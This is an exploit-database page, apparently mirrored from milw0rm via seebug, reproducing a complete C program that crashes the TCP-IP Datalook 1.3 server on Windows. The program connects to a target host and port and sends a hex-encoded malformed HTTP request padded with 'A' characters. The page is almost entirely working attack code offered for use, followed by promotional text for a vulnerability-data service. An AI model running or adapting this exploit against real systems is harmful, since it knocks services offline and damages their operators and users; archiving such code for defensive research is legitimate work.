Lucene search
K

TCP-IP Datalook <= 1.3 - Local Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

TCP-IP Datalook <= 1.3 - Local Denial of Service Exploi

Code

                                                /*

 IP-DATALOOK Local DoS Exploit
---------------------------------
INFGP - Hacking&security Research

Resolve host...[OK]
 [+] Connecting...[OK]
Target locked
Sending bad procedure...[OK]
 [*] Server Disconnected!

 Tested on Windows2000 SP4
 Infos: infamous.2hell.com / [email protected]

*/

#include string.h
#include winsock2.h
#include stdio.h

#pragma comment(lib, &#34;ws2_32.lib&#34;)

char doscore[] = &#34;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#34;
&#34;\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76&#34;
&#34;\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73&#34;
&#34;\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54&#34;
&#34;\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20&#34;
&#34;\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74&#34;
&#34;\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70&#34;
&#34;\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78&#34;
&#34;\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63&#34;
&#34;\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a&#34;
&#34;\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b&#34;
&#34;\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43&#34;
&#34;\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b&#34;
&#34;\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65&#34;
&#34;\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36&#34;
&#34;\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c&#34;
&#34;\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38&#34;
&#34;\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73&#34;
&#34;\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68&#34;
&#34;\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67&#34;
&#34;\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65&#34;
&#34;\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69&#34;
&#34;\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20&#34;
&#34;\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67&#34;
&#34;\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70&#34;
&#34;\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69&#34;
&#34;\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d&#34;
&#34;\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63&#34;
&#34;\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f&#34;
&#34;\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a&#34;
&#34;\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41&#34;
&#34;\x69\x6d\x61\x67\x65\r\n&#34;;

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc &#60; 2)
{
printf(&#34; \n&#34;, argv[0]);
printf(&#34;       IP-DATALOOK Local DoS Exploit \n&#34;, argv[0]);
printf(&#34;  -------------------------------------\n&#34;, argv[0]);
printf(&#34;    INFGP - Hacking&Security Research\n\n&#34;, argv[0]);
printf(&#34;[-]Usage: %s [target] [port]\n&#34;, argv[0]);
printf(&#34;[?]Exam: localhost 80\n&#34;, argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) &#60; 0) return -1;

target = argv[1];
port = 80;

if (argc &#62;= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc &#62;= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf(&#34;Socket ERROR \n&#34;);
exit(1);
}

printf(&#34;Resolve host... &#34;);
if ((pTarget = gethostbyname(target)) == NULL)
{
printf(&#34;FAILED \n&#34;, argv[0]);
exit(1);
}
printf(&#34;[OK]\n &#34;);
memcpy(&sock.sin_addr.s_addr, pTarget-&#62;h_addr, pTarget-&#62;h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf(&#34;[+] Connecting... &#34;);
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf(&#34;FAILED\n&#34;);
exit(1);
}
printf(&#34;[OK]\n&#34;);
printf(&#34;Target locked\n&#34;);
printf(&#34;Sending bad procedure... &#34;);
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf(&#34;ERROR\n&#34;);
closesocket(inetdos);
exit(1);
}
printf(&#34;[OK]\n &#34;);
printf(&#34;[+] Server Disconnected!\n&#34;);
closesocket(inetdos);
WSACleanup();
return 0;
}

// milw0rm.com [2005-06-25]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation